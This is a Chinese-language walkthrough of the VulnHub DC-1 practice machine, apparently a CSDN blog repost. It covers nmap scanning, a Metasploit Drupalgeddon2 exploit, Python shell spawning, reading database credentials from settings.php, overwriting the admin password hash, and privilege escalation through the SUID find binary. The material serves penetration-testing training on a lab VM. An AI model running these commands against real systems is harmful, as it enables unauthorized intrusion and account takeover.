码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • DC-1靶机练习【超详细】


     前言

    作者简介:不知名白帽,网络安全学习者。

    博客主页:https://blog.csdn.net/m0_63127854?type=blog

    Vulnhuv专栏:https://blog.csdn.net/m0_63127854/category_12000843.html

    网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

    目录

    环境

    信息收集

    查看kali的IP

    netdiscover发现DC-1靶机IP

    ​编辑

    nmap扫描DC-1靶机信息

    ​编辑

    访问80端口

    搜索Drupal

    漏洞扫描

    msf搜索相关漏洞

    漏洞利用

    ​编辑

    找到flag1

    找到flag2

    找到flag3

    SUID提权

    ​编辑

    找到flag4

    ​编辑

    ​编辑

    找到thefinalflag.txt


    对下载的DC-1.zip文件进行解压

    VM打开DC-1.ova文件(快捷键Ctrl+O)

    开启DC-1

    将DC-1的网络模式换成NET模式,方便使用kali进行同网段扫描

    环境

    kali的IP:192.168.20.129;DC-1靶机的IP192.168.20.130

    信息收集

    查看kali的IP

    netdiscover发现DC-1靶机IP

    netdiscover -r 192.168.20.1/24
    

    nmap扫描DC-1靶机信息

    nmap -A -v -T4 192.168.20.130
    

    访问80端口

    搜索Drupal

    Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布

    漏洞扫描

    msf搜索相关漏洞

    search drupal
    

    Check中为"yes"的都可以使用

    漏洞利用

    使用模板二

    use exploit/unix/webapp/drupal_drupalgeddon2
    

    show options查看模板的需要配置的地方

    配置RHOSTS

    1. set rhosts 192.168.20.130
    2. run

    shell进入后渗透模块,使用python反弹一个交互式shell

    python -c 'import pty; pty.spawn("/bin/bash")'
    

    找到flag1

    ls查看当前文件夹下的文件,找到flag1.txt

    查看flag1.txt

    flag1提示:每个优秀的CMS都需要一个配置文件—您也需要

    Drupal的默认配置文件为 /var/www/sites/default/settings.php

    找到flag2

    进入sites/default/下找settings.php,在配置文件中发现flag2和一些数据库信息

    通过mysql,我们查看3306端口是否开放

    netstat -anptl
    

    已经知道数据库的账号密码,而且3306端口已开放,登录数据库

    mysql -u dbuser -p 
    

    查看数据库

    show databases;
    

    查看drupaldb数据库中的表

    1. use drupaldb;
    2. show tables;

    查看user表中的用户

    select * from users;
    

    在scripts录有password-hash.sh文件,可以用该文件生成自己的密码hash值替换数据库hash

    find . -name “hash”
    
    php scripts/password-hash.sh password
    

    修改密码

    update drupaldb.users set pass='$S$DNTdRYn.oOsIM0QzOSYWQhI7XXGqr0igs4tDhcSJgEXaGVwuCKnv' where name="admin"; ##修改密码
    

    报错解决:

    Sorry, there have been more than 5 failed login attempts for this account. It is temporarily blocked. Try again later or request a new password.

    drupal的用户登录中,连续密码输入错误5次 该账号就无法再登录 ,试五遍就让你重置密码。

    所以清除flood

    truncate flood;
    

    登录网站

    找到flag3

    Flag3提示词有perms、find、-exec、shadow共四个特殊提示词

    SUID提权

    cat /etc/passwd
    

    找到flag4

    使用find命令查找有特殊权限suid的命令

    find / -perm -4000
    

     

    使用find命令提权

    find / -exec “/bin/bash” -p ;
    

    cat flag4.txt
    

    找到thefinalflag.txt

  • 相关阅读:
    SpringBoot+Vue实现的高校图书馆管理系统 附带详细运行指导视频
    Visual Studio Code配置Tomcat运行Java Web项目
    设计模式-Decorator模式(装饰者模式)
    2.9 PE结构:重建导入表结构
    RabbitMQ初步到精通-第四章-RabbitMQ工作模式-Routing
    StringComparer 几个用法举例
    Python学习笔记-序列
    【管理运筹学】第 7 章 | 图与网络分析(1,图论背景以及基本概念、术语、矩阵表示)
    【ARM Coresight OpenOCD 系列 2 -- OpenOCD 脚本语法详细介绍】
    AI/AO模拟量数据类型
  • 原文地址:https://blog.csdn.net/m0_63127854/article/details/126736824
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号